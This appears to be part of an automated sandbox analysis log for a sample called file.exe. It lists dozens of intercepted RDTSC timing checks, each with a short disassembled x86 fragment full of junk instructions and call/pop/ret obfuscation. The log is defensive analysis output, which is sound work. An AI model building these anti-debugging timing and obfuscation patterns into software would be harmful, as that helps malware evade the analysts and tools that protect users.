Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CB10 second address: F3CB8A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F6BBC840546h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 258772B3h 0x00000013 jno 00007F6BBC84054Ch 0x00000019 call 00007F6BBC84054Bh 0x0000001e jmp 00007F6BBC84054Bh 0x00000023 pop edi 0x00000024 call 00007F6BBC840549h 0x00000029 ja 00007F6BBC84054Ah 0x0000002f push eax 0x00000030 jmp 00007F6BBC840559h 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 js 00007F6BBC840563h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F6BBC84054Bh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CE93 second address: F3CE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BBC80E216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CE9E second address: F3CEB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F6BBC84054Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CEB7 second address: F3CEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CEBB second address: F3CED5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D07B second address: F3D081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D081 second address: F3D085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D120 second address: F3D124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D31F second address: F3D325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D8CA second address: F3D901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E220h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a mov esi, dword ptr [ebp+122D2E1Ah] 0x00000010 nop 0x00000011 jng 00007F6BBC80E221h 0x00000017 jmp 00007F6BBC80E21Bh 0x0000001c push eax 0x0000001d pushad 0x0000001e je 00007F6BBC80E21Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D9C0 second address: F3D9D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jo 00007F6BBC840546h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D9D2 second address: F3D9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6BBC80E216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC66 second address: F3DC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DDD4 second address: F3DDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E311 second address: F3E3BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6BBC840556h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F6BBC840548h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jmp 00007F6BBC84054Ah 0x0000002f mov dword ptr [ebp+1244DC07h], eax 0x00000035 push 00000000h 0x00000037 mov edi, esi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F6BBC840548h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 pushad 0x0000005a popad 0x0000005b jmp 00007F6BBC840557h 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC2C second address: F3FC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6BBC80E216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC37 second address: F3FC3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC3C second address: F3FC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F407CA second address: F407DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F404FF second address: F40503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4122C second address: F41233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40F9C second address: F40FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41233 second address: F41244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F6BBC840546h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40FA1 second address: F40FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41CEC second address: F41CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41CF1 second address: F41D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E220h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45EA4 second address: F45F1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6BBC840548h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D1E89h] 0x0000002a mov ebx, eax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F6BBC840548h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D1E38h] 0x0000004e push ebx 0x0000004f movzx ebx, bx 0x00000052 pop edi 0x00000053 push 00000000h 0x00000055 jmp 00007F6BBC84054Eh 0x0000005a push eax 0x0000005b pushad 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F461C4 second address: F461CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48F4F second address: F48F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48F53 second address: F48F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48091 second address: F4809C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4809C second address: F480A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48F57 second address: F48FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F6BBC840548h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F6BBC840548h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 ja 00007F6BBC84054Ch 0x00000047 mov dword ptr [ebp+122D31B3h], edi 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48FBB second address: F48FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48FC1 second address: F48FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6BBC84054Ch 0x0000000b jg 00007F6BBC840546h 0x00000011 popad 0x00000012 push eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49F96 second address: F49F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F491E5 second address: F491E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49F9C second address: F49FCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BBC80E220h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F491E9 second address: F491F3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F491F3 second address: F491F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F491F9 second address: F4920E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A1AB second address: F4A237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov edi, dword ptr [ebp+122D2C46h] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e mov dword ptr [ebp+122D1E28h], esi 0x00000024 ja 00007F6BBC80E21Ch 0x0000002a mov eax, dword ptr [ebp+122D0029h] 0x00000030 pushad 0x00000031 mov dword ptr [ebp+122D385Dh], edi 0x00000037 add dword ptr [ebp+12462820h], edi 0x0000003d popad 0x0000003e push FFFFFFFFh 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F6BBC80E218h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a mov dword ptr [ebp+122D1E5Ah], ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F6BBC80E221h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B035 second address: F4B03B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A237 second address: F4A23D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BE8A second address: F4BE90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BE90 second address: F4BE95 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CDF0 second address: F4CDF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DC2A second address: F4DC2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DC2E second address: F4DCAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F6BBC840548h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 pushad 0x00000023 movzx ecx, dx 0x00000026 adc dx, D598h 0x0000002b popad 0x0000002c pushad 0x0000002d push ebx 0x0000002e or edx, dword ptr [ebp+122D1DE9h] 0x00000034 pop esi 0x00000035 popad 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F6BBC840548h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 push 00000000h 0x00000054 movsx ebx, cx 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F6BBC840551h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FBBF second address: F4FBF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BBC80E229h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FBF9 second address: F4FBFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FBFF second address: F4FC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F509AC second address: F509B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DDFA second address: F4DE00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DEB6 second address: F4DEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DEBA second address: F4DEC4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50BE4 second address: F50BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51A30 second address: F51A48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51A48 second address: F51AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F6BBC840548h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F6BBC840548h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000015h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e mov edi, dword ptr [ebp+122D2C56h] 0x00000044 push 00000000h 0x00000046 mov ebx, ecx 0x00000048 xchg eax, esi 0x00000049 jg 00007F6BBC840552h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 push edi 0x00000054 pop edi 0x00000055 pop edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51C9F second address: F51CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51CA8 second address: F51CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52B93 second address: F52B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52B9A second address: F52C59 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BBC840548h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D2BCAh] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F6BBC840548h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov bx, si 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e jmp 00007F6BBC840559h 0x00000043 mov eax, dword ptr [ebp+122D0585h] 0x00000049 call 00007F6BBC840554h 0x0000004e mov ebx, 5C021795h 0x00000053 pop ebx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push edi 0x00000059 call 00007F6BBC840548h 0x0000005e pop edi 0x0000005f mov dword ptr [esp+04h], edi 0x00000063 add dword ptr [esp+04h], 00000017h 0x0000006b inc edi 0x0000006c push edi 0x0000006d ret 0x0000006e pop edi 0x0000006f ret 0x00000070 mov dword ptr [ebp+122D30AAh], edi 0x00000076 push esi 0x00000077 mov dword ptr [ebp+124763E4h], edi 0x0000007d pop ebx 0x0000007e nop 0x0000007f push eax 0x00000080 push edx 0x00000081 jbe 00007F6BBC84054Ch 0x00000087 jc 00007F6BBC840546h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52C59 second address: F52C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52C5F second address: F52C76 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jp 00007F6BBC840546h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54E1F second address: F54E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54E23 second address: F54E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BBC840552h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54E3D second address: F54E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64286 second address: F6428F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6428F second address: F64295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64383 second address: F64387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F644E4 second address: F644E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F644E9 second address: F644EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F644EF second address: F644F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B4F0 second address: F6B4F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B4F4 second address: F6B504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6BBC80E216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B684 second address: F6B693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F6BBC840546h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B812 second address: F6B824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B824 second address: F6B828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B969 second address: F6B96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B96D second address: F6B97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B97E second address: F6B99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6BBC80E226h 0x0000000c jmp 00007F6BBC80E220h 0x00000011 rdtsc
